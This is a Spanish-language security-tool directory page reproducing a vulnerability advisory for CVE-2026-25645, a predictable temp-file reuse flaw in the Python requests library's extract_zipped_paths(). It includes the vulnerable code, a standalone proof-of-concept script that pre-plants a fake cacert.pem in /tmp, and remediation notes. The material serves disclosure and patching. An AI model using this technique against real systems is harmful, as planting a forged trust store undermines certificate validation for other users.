Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-25645 — Reutilización insegura de archivos temporales en extract_zipped_paths() | Kitploit
Herramientas/GitHubGitHub/jaycelation/cve-2026-25645
Análisis EstáticoAnálisis de VulnerabilidadesExplotaciónSeguridad WebPapers e Investigación
GitHubjaycelation/cve-2026-25645

CVE-2026-25645

Reutilización insegura de archivos temporales en extract_zipped_paths()

Ver Repositorio
hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

[CVE-2026-25645] Reutilización insegura de archivos temporales en requests.utils.extract_zipped_paths()

Resumen ejecutivo

Se identificó una vulnerabilidad en la biblioteca requests (Python) dentro de la función de utilidad pública requests.utils.extract_zipped_paths(). La función utiliza un nombre de archivo predecible y no único al intentar extraer archivos en el directorio temporal del sistema (/tmp) y no verifica la integridad ni la propiedad de los archivos preexistentes.

Si bien el comportamiento predeterminado de requests combinado con certifi está mitigado por importlib.resources, esta utilidad sigue siendo un riesgo de seguridad para aplicaciones posteriores o implementaciones personalizadas que dependen de ella para manejar recursos comprimidos.

Información de la vulnerabilidad

  • ID de CVE: CVE-2026-25645
  • CWE: CWE-377 (Archivo temporal inseguro)
  • Severidad: Moderada (5.0)
  • Vector CVSS: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N
  • Versiones afectadas: < 2.33.0

Métricas base de CVSS v3:

  • Vector de ataque: Local
  • Complejidad del ataque: Baja
  • Privilegios requeridos: Bajos
  • Interacción del usuario: Requerida
  • Alcance: Sin cambios
  • Confidencialidad: Ninguna
  • Integridad: Alta
  • Disponibilidad: Ninguna

Análisis técnico

El mecanismo

La función requests.utils.extract_zipped_paths() está diseñada para extraer miembros de un archivo zip (a menudo utilizado para paquetes de CA en entornos zipapp). La lógica vulnerable sigue estos pasos:

  1. Objetivo predecible: Combina el directorio temporal del sistema con el basename del miembro del zip (por ejemplo, /tmp/cacert.pem).
  2. Verificación insegura: Utiliza if not os.path.exists(extracted_path) para decidir si extraer el archivo.
  3. Devolución de ruta: Si el archivo existe, devuelve inmediatamente la ruta sin asegurarse de que el archivo fue creado por el proceso actual ni verificar su contenido.

Análisis de la causa raíz

En requests/utils.py, la lógica se implementa de la siguiente manera:

root@kitploit:~
# Path derivation using predictable basename
extracted_path = os.path.join(tmp, member.split("/")[-1]) 

# Insecure reuse of existing file
if not os.path.exists(extracted_path):
    # Extraction logic only triggers if file is missing
    ... 

# Returns path to potentially attacker-controlled file
return extracted_path

Impacto y explotación

Un atacante local con bajos privilegios puede explotar esto creando previamente un archivo malicioso (por ejemplo, un paquete de CA falsificado) en la ruta predecible en /tmp. Cuando una víctima (se requiere interacción del usuario) ejecuta una aplicación que invoca esta utilidad:

  1. La utilidad ve que el archivo ya existe.
  2. La utilidad omite la extracción y devuelve la ruta al archivo malicioso.
  3. La aplicación víctima carga los datos del atacante, lo que lleva a un compromiso de alta integridad (por ejemplo, cargando un almacén de confianza falsificado).

Prueba de concepto (independiente)

El siguiente script demuestra la vulnerabilidad al mostrar cómo la utilidad reutiliza un archivo "falso" preexistente en lugar del legítimo del archivo comprimido.

root@kitploit:~
import os
import tempfile
import zipfile
from requests import utils

# 1. Attacker Step: Pre-create a malicious file in /tmp
TMP = tempfile.gettempdir()
fake_file_path = os.path.join(TMP, "cacert.pem")
with open(fake_file_path, "wb") as f:
    f.write(b"ATTACKER_MALICIOUS_DATA")

# 2. Victim Setup: A legitimate ZIP archive
zip_path = "resources.zip"
with zipfile.ZipFile(zip_path, "w") as z:
    z.writestr("certs/cacert.pem", b"REAL_LEGITIMATE_DATA")

# 3. Victim Action: Calling the vulnerable utility
zipped_member_path = f"{zip_path}/certs/cacert.pem"
resolved_path = utils.extract_zipped_paths(zipped_member_path)

# 4. Confirmation
print(f"[i] Utility returned path: {resolved_path}")
with open(resolved_path, "rb") as f:
    content = f.read()
    print(f"[i] Content read: {content}")

if content == b"ATTACKER_MALICIOUS_DATA":
    print("[!] Vulnerability Confirmed: Insecure file reuse successful.")

Remediación

El problema se soluciona en la versión 2.33.0. La corrección implica la transición a importlib.resources para manejar recursos comprimidos de forma más segura, asegurando que las extracciones ocurran en directorios aleatorios y no predecibles y evitando la reutilización de archivos existentes en directorios compartidos con permisos de escritura para todos.

Descargar herramienta